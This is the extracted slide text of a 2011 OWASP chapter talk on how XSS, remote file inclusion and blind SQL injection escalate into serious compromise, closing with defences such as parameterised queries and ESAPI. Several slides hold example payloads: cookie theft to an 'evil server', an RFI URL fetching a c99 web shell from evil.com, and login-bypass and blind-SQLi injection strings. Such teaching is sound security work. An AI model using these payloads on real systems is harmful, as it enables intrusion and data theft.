ANZTB SIGIST May 2011 Perth OWASP How minor vulnerabilities can do very bad things Christian Frichot / David Taylor (Some of) Perth OWASP s Chapter Leads OWASP Wednesday 25 th May 2011 Copyright The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org
Introductions Photo of handshake removed to reduce file size. OWASP
Why we think this is important. OWASP
Impact Crater 4
Photo of bored cat removed to reduce file size. *bored cat 5
Photo of scared cat removed to reduce file size. *scared cat is scared 6
Overview Overview of the evening From XSS to total session compromise Would you like some BeEF with your XSS? Remote File Include, an attackers best friend. When RFI met Metasploit Useful SQL Injection OWASP 7
A Brief History Of OWASP 8
Cross Site Scripting (XSS) "XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute script in the victim s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. What does this mean? Attackers can execute scripts within a users browser. This may lead to defacement, session hijacking, browser redirection or even the installation of malware. OWASP 9
Reflective XSS Authenticated User 2. XSS script forces Browser to submit document.cookie to Evil Server Hi Joe, We ve noticed you haven t updated your phone number. Click here to proceed. Thanks. 1. 3. document.cookie Vulnerable App 4. Collect cookies Attacker Evil Server OWASP 10
Stored XSS Vulnerable App Authenticated User 1. Post comment on blog Including XSS 2. Visits blog Attacker 4. Collect cookies kie 3. document.cooki Evil Server OWASP 11
Injection "Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or access unauthorised data. What does this mean? Injection can result in data loss or corruption, lack of accountability, or denial of access. In worst case scenarios it can lead to complete OWASP 12 host takeover.
Setting the scene Your developers create a Secure Cloud Open Access Tool Secure portal for exchanging files with customers. Your company, Acme, take their information very seriously, as most of their intellectual property is contained within. OWASP 13
This slide left intentionally blank 14
Conclusions from Session Compromise According to the OWASP Top 10 of 2010, XSS is the most prevalent web application security flaw. The Web Hacking Incident Database (WHID) lists XSS as the 3 rd top attack method.[1] Detecting XSS is easy. Open Source: w3af, rat, XSSscan.py, XSSFuzz etc Mixed Source: Burp! (If you buy one piece of software, buy this) Bling ($$) Source: IBM AppScan, HP WebInspect, NTOSpider [1] http://www.xiom.com/whid OWASP 15
16
Photo of person removed to reduce file size. Session Compromise 17
OWASP 18
Browser Exploitation Framework Photo of meat removed to reduce file size. OWASP 19
OWASP
(insert demo here) OWASP 21
Conclusions from BeEF injection ;) Why do things manually, when you can do them automagically? The web browser IS the operating system. Clearly demonstrates how a fairly trivial vulnerability can explode into something larger OWASP
OWASP
(insert break here) OWASP 24
OWASP
Photo of Nano car removed to reduce file size. *Planet's cheapest car, the Nano. OWASP
Photo of Bentley Coupe removed to reduce file size. *This is a Bentley Coupe!= planet s cheapest car OWASP
OWASP
OWASP
OWASP
But how does an attacker deface a website? RFI or Remote File Inclusion Was in OWASP s Top 10 in 2007 Used to be highly prevalent in PHP until the default configuration was changed Exploits the require or include functions, eg: Include $_GET[ option ] http://www.acme.com/scoat.php?language=http://evil.com/c99.txt OWASP
(insert scariness here) OWASP 32
Conclusions The web is a great channel for exploiting PCs Google s research back in 2007 highlighted: One in 10 web pages contained malicious code F-secure 2010: Adobe Reader files were exploited in almost 49% of targeted attacks in 2009 Keep your applications up to date! OWASP
OWASP
SQL Injection The login page of the application is vulnerable to SQL Injection: SELECT $id FROM dt_users WHERE user= $user AND pass= $pass What happens if we make the username: jdoe AND 1=1 -- The SQL becomes SELECT $id FROM dt_users WHERE user= jdoe AND 1=1 AND pass= $pass OWASP
Blind SQL Injection So, we can log into the app without a password - pretty cool. But what if we want to mess with the database some more? The SQL Injection is blind because none of the results from the SELECT are echoed to the browser. OWASP
Taking Over The World, 1 Bit At A Time Essentially we can get 1 bit of data from the database at a time: If the trailing condition evaluates to TRUE, the application gets logged in. If the trailing condition evaluates to FALSE you get the password error message. For example: SELECT $id FROM dt_users WHERE user= jdoe AND 1<2 TRUE SELECT $id FROM dt_users WHERE user= jdoe AND 1>2 FALSE OWASP
Lets take a short detour Binary Search Photo of detour sign removed to reduce file size. OWASP
Detour: Binary Search OWASP
Detour: Binary Search Example: Searching for an ASCII character Is character < ASCII code 128? Yes Is character < ASCII code 64? No Is character < ASCII code 96? Yes Is character < ASCII code 80? No Is character < ASCII code 88? No Is character < ASCII code 92? Yes Is character < ASCII code 90? Yes Is character < ASCII code 89? No Character is ASCII 89! ( X ) OWASP
Detour: Binary Search Each step in a binary search requires 1 bit of information. We have a SQL Injection bug that reveals 1 bit of information at a time. Binary search, meet Blind SQL Injection. Blind SQL Injection, this is Binary Search. OWASP
Blind SQL Injection Setting it up SUBSTRING(CAST((SELECT SELECT version() ASCII(SUBSTRING(CAST((SELECT version()) version()) CHAR(4000)) version()) AS CHAR(4000)),1,1)) OWASP
Blind SQL Injection Putting it into action SELECT WHERE user= jdoe AND 64>(SELECT 96>(SELECT 128>(SELECT ASCII(SUBSTRING(CAST((SELECT version()) AS CHAR(4000)),1,1))) And so on And so on And so on And THEN SELECT WHERE user= jdoe AND 128>(SELECT ASCII(SUBSTRING(CAST((SELECT version()) AS CHAR(4000)),2,1))) And so on And so on And so on And so on OWASP
Blind SQL Injection Luckily there are tools to do this for us. (insert pwnage here) OWASP
Conclusions (BSQLi) Tiny little blind SQL injection bugs can (eventually) leak your entire database BSQLi bugs are pretty hard to find (unless you ve got the source code) Even after you ve found them, they are reasonably difficult (and noisy) to exploit Validate inputs and use parameterised queries OWASP
No tools were harmed in the making of this presentation BeEF (http://www.bindshell.net/tools/beef/) Metasploit Framework (http://www.metasploit.com/) SQLMap (http://sqlmap.sourceforge.net/) SQL Power Injector *not demonstrated (http://www.sqlpowerinjector.com/) Burp Suite Professional (http://portswigger.net/burp/) OWASP
Photo of many spanners removed to reduce file size. OWASP 47
OWASP 48
OWASP 49
OWASP Enterprise Security API (ESAPI) Don t write your own security controls! Reinventing the wheel when it comes to developing security controls for every web application or web service leads to wasted time and massive security holes OWASP 50
ESAPI not just about preventing XSS/SQLi Authentication Access Control Input Validation Output encoding/escaping Cryptography Error handling and logging Communication security HTTP security Security configuration OWASP 51
OWASP s Development Guide Allow businesses, developers, designers and solution architects to produce secure web applications OWASP 52
OWASP 53
OWASP 54
Wrapping it up Relatively innocuous bugs can be leveraged to do bad things (to the client or the server) Weaponised exploitation frameworks and tools currently exist Secure coding practices and security assessments to minimise exposure OWASP
Photo of large question mark removed to reduce file size.